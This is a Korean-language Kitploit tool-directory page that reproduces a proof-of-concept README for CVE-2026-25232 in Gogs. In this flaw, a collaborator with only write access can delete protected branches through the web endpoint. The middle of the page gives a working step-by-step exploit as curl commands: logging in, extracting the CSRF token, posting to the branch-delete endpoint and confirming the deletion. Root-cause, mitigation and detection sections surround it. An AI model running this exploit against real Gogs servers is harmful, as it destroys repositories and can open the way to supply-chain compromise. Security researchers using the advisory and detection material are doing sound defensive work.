Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-25232-PoC — CVE-2026-25232에 대한 개념 증명(PoC)으로, Gogs에 존재하는 권한 상승 취약점입니다. | Kitploit
도구/GitHubGitHub/h1sok444/cve-2026-25232-poc
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubh1sok444/cve-2026-25232-poc

CVE-2026-25232-PoC

CVE-2026-25232에 대한 개념 증명(PoC)으로, Gogs에 존재하는 권한 상승 취약점입니다.

저장소 보기
14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-25232 — Gogs 보호 브랜치 삭제 우회 (Write → Admin 권한 상승)

개요

필드세부 정보
CVECVE-2026-25232
제품Gogs (Go Git Service)
영향을 받는 버전<= 0.13.4
수정된 버전0.14.1
CVSS 점수중간(Medium)
CWECWE-863: 잘못된 권한 부여
필요한 인증예 (저장소에 대한 Write 권한)
영향Write → Admin 수준 작업으로의 권한 상승

설명

CVE-2026-25232는 Gogs 웹 인터페이스의 접근 제어 우회 취약점입니다. 이 취약점을 통해 Write 권한을 가진 저장소 협업자는 DeleteBranchPost 엔드포인트에 직접 POST 요청을 보내 보호 브랜치(기본 브랜치 포함)를 삭제할 수 있으며, 브랜치 보호 메커니즘을 완전히 우회합니다.

근본 원인은 Git Hook 계층과 웹 인터페이스가 브랜치 보호를 적용하는 방식의 차이입니다:

  • Git Hooks (SSH): SSH 푸시 작업을 통한 보호 브랜치 삭제를 올바르게 차단합니다
  • 웹 인터페이스: DeleteBranchPost 함수는 Git Hooks를 트리거하지 않으므로 보호 확인이 실행되지 않습니다

이로 인해 낮은 권한의 협업자가 저장소 관리자에게만 허용되어야 하는 작업을 수행할 수 있습니다.


사전 요구 사항

  • 등록된 Gogs 계정
  • 대상 저장소에 대한 Write 권한
  • 대상 저장소에 구성된 보호 브랜치
  • Gogs 웹 인터페이스에 대한 네트워크 접근

개념 증명(PoC)

환경

  • 대상: http://<TARGET>:3001
  • 공격자 계정: attacker:Password123! (저장소에 대한 Write 권한)
  • 대상 저장소: admin/important-repo
  • 보호 브랜치: main (기본 브랜치)

1단계 — 브랜치 보호가 활성화되어 있는지 확인

브랜치가 보호되고 있으며 일반적인 방법으로는 삭제할 수 없는지 확인합니다:

root@kitploit:~
# API를 통한 일반적인 브랜치 삭제 시도 - 실패해야 합니다
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
  -u 'attacker:Password123!'

예상 응답: 403 Forbidden 또는 보호 오류.


2단계 — 유효한 CSRF 토큰 얻기

인증된 페이지에서 CSRF 토큰을 가져옵니다:

root@kitploit:~
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/user/login' \
  -X POST \
  -d 'user_name=attacker&password=Password123!'

# 저장소 페이지에서 CSRF 토큰 추출
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/admin/important-repo' \
  | grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3

3단계 — DeleteBranchPost에 직접 POST하여 보호 우회

브랜치 삭제 엔드포인트에 직접 POST 요청을 보내 보호 확인을 우회합니다:

root@kitploit:~
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
  -b cookies.txt \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d '_csrf=<CSRF_TOKEN>&name=main'

공격자가 Write 권한만 가지고 있음에도 불구하고 보호 브랜치가 삭제됩니다.


4단계 — 삭제 확인

root@kitploit:~
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
  -u 'attacker:Password123!'

main 브랜치는 더 이상 응답에 나타나지 않습니다.


작동 원리

Gogs 웹 핸들러의 DeleteBranchPost 함수는 사용자가 인증되었고 저장소에 대한 Write 접근 권한이 있는지 확인하지만 대상 브랜치가 보호되는지 여부는 확인하지 않습니다:

root@kitploit:~
HTTP POST /owner/repo/branches/delete
    ↓
DeleteBranchPost()
    ↓
확인: 사용자가 인증되었는가? ✓
확인: 사용자에게 Write 접근 권한이 있는가? ✓
확인: 브랜치가 보호되는가? ✗ (누락)
    ↓
브랜치 삭제 성공

브랜치 보호를 적용하는 Git Hook 계층은 SSH 또는 HTTP Git 프로토콜을 통한 Git 푸시/삭제 작업 중에만 트리거되며 웹 인터페이스 작업 중에는 트리거되지 않습니다. 이러한 아키텍처상의 공백으로 인해 Write 수준의 협업자 누구나 이 작업을 수행할 수 있습니다.


영향

Write 권한을 가진 악의적인 협업자는 다음을 수행할 수 있습니다:

  • 기본 브랜치를 포함한 모든 보호 브랜치 삭제
  • 저장소의 주요 개발 라인 파괴
  • 보호 브랜치에 의존하는 CI/CD 파이프라인 중단
  • 보호 없이 브랜치를 강제 푸시하거나 재생성하여 프로덕션 파이프라인에 코드 주입 가능
  • 브랜치 관리 작업에 대해 실질적 권한을 Write → Admin 수준으로 상승

Gogs 저장소가 자동화된 배포 파이프라인에 연결되는 환경에서는 공급망 손상으로 이어질 수 있습니다.


해결 방법

Gogs v0.14.1 이상으로 업그레이드하십시오. 이 수정은 요청이 이루어지는 방식과 관계없이 삭제를 허용하기 전에 브랜치 보호 상태를 확인하는 적절한 권한 검사를 DeleteBranchPost 함수에 추가합니다.

임시 완화 조치:

  • 저장소 Write 접근 권한을 신뢰할 수 있는 사용자에게만 제한
  • Gogs 웹 인터페이스에 도달할 수 있는 사용자를 제한하는 네트워크 수준 접근 제어 구현
  • /repos/{owner}/{repo}/branches/delete에 대한 예기치 않은 POST 요청을 웹 서버 로그에서 모니터링
  • 외부 백업 솔루션을 사용하여 보호 브랜치의 복사본 유지

탐지

다음과 같은 악용 지표를 찾으십시오:

  • 웹 서버 로그에서 /<owner>/<repo>/branches/delete에 대한 예기치 않은 POST 요청
  • 로그에서 해당 Git Hook 활동 없이 삭제된 보호 브랜치
  • Admin 권한이 없는 사용자의 브랜치 삭제 이벤트
  • 기본 브랜치가 없어지거나 예기치 않게 변경됨

참고 자료

  • GitHub Security Advisory GHSA-2c6v-8r3v-gh6p
  • Gogs v0.14.1 릴리스
  • CWE-863: 잘못된 권한 부여

면책 조항

이 PoC는 교육 목적과 승인된 보안 테스트 전용입니다. 명시적 테스트 허가를 받지 않은 시스템에는 사용하지 마십시오.

도구 다운로드